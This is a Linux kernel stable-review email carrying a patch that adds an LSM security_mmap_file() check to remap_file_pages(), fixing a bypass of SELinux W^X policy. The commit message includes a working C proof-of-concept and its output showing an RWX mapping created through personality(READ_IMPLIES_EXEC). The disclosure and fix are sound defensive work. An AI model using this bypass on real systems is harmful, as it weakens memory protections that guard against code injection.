From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from smtp.kernel.org (aws-us-west-2-korg-mail-1.web.codeaurora.org [10.30.226.201]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 4D4101974F4; Wed, 2 Oct 2024 14:43:40 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=10.30.226.201 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1727880220; cv=none; b=am3NvAkksAIqd7rEA9vN+ESJs2jBk+tIzGqyMqv/DaauizsVLLGmcjbbBDQUDsEB2LDlx86rYShaha4dumzQuChfGl8YQi6rGWoCOtj8hd5JCJRpoSRFRM21XjK06BWwHKRZwQI/IQ+263jpSas83kDxAmQWxfoK/nM6164rgq8= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1727880220; c=relaxed/simple; bh=XKxN/wnqBO+NDZxJVPFws6orc6cM4n1zH/TxSweV8Uo=; h=From:To:Cc:Subject:Date:Message-ID:In-Reply-To:References: MIME-Version; b=XoOMf3rhsQFc8gQMdvKW/SUyn9XQyd5r2oh+t1lY+ibXVK0JcZ6yZPQX/liHTFnv+kjhc630PxhaLeSORjQNsMHFmC2hbqOjgtYwR76OVaDIRuYpmaLwtqpiyjDZ1R0Pu5IVYML/uFTQbd/x/z9hzuk8bmKipy2jx+LxQlo4Wjk= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b=jFyMvHXq; arc=none smtp.client-ip=10.30.226.201 Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=linuxfoundation.org header.i=@linuxfoundation.org header.b="jFyMvHXq" Received: by smtp.kernel.org (Postfix) with ESMTPSA id C6B78C4CEC2; Wed, 2 Oct 2024 14:43:39 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=linuxfoundation.org; s=korg; t=1727880220; bh=XKxN/wnqBO+NDZxJVPFws6orc6cM4n1zH/TxSweV8Uo=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From; b=jFyMvHXqXZbpnBPkJc1sXcyULgSoOUW/1vnaSy6RTQqslUBs5BqCSisiOFqFD9IUF qqOoCKUcS4ZPwmKtyvfiVjDnfT6M27buuDuWy8Da0GTiUu2cFyycGwd/de04beMCV+ 4NHWraTu4H5yuWv7x5nXZo2K/Dcz5lKKDwME/hLg= From: Greg Kroah-Hartman To: stable@vger.kernel.org Cc: Greg Kroah-Hartman , patches@lists.linux.dev, Shu Han , Stephen Smalley , Paul Moore Subject: [PATCH 6.6 384/538] mm: call the security_mmap_file() LSM hook in remap_file_pages() Date: Wed, 2 Oct 2024 15:00:23 +0200 Message-ID: <20241002125807.588416884@linuxfoundation.org> X-Mailer: git-send-email 2.46.2 In-Reply-To: <20241002125751.964700919@linuxfoundation.org> References: <20241002125751.964700919@linuxfoundation.org> User-Agent: quilt/0.67 X-stable: review X-Patchwork-Hint: ignore Precedence: bulk X-Mailing-List: stable@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit 6.6-stable review patch. If anyone has any objections, please let me know. ------------------ From: Shu Han commit ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 upstream. The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) Link: https://project-zero.issues.chromium.org/issues/42452389 [1] Cc: stable@vger.kernel.org Signed-off-by: Shu Han Acked-by: Stephen Smalley [PM: subject line tweaks] Signed-off-by: Paul Moore Signed-off-by: Greg Kroah-Hartman --- mm/mmap.c | 4 ++++ 1 file changed, 4 insertions(+) --- a/mm/mmap.c +++ b/mm/mmap.c @@ -3025,8 +3025,12 @@ SYSCALL_DEFINE5(remap_file_pages, unsign flags |= MAP_LOCKED; file = get_file(vma->vm_file); + ret = security_mmap_file(vma->vm_file, prot, flags); + if (ret) + goto out_fput; ret = do_mmap(vma->vm_file, start, size, prot, flags, 0, pgoff, &populate, NULL); +out_fput: fput(file); out: mmap_write_unlock(mm);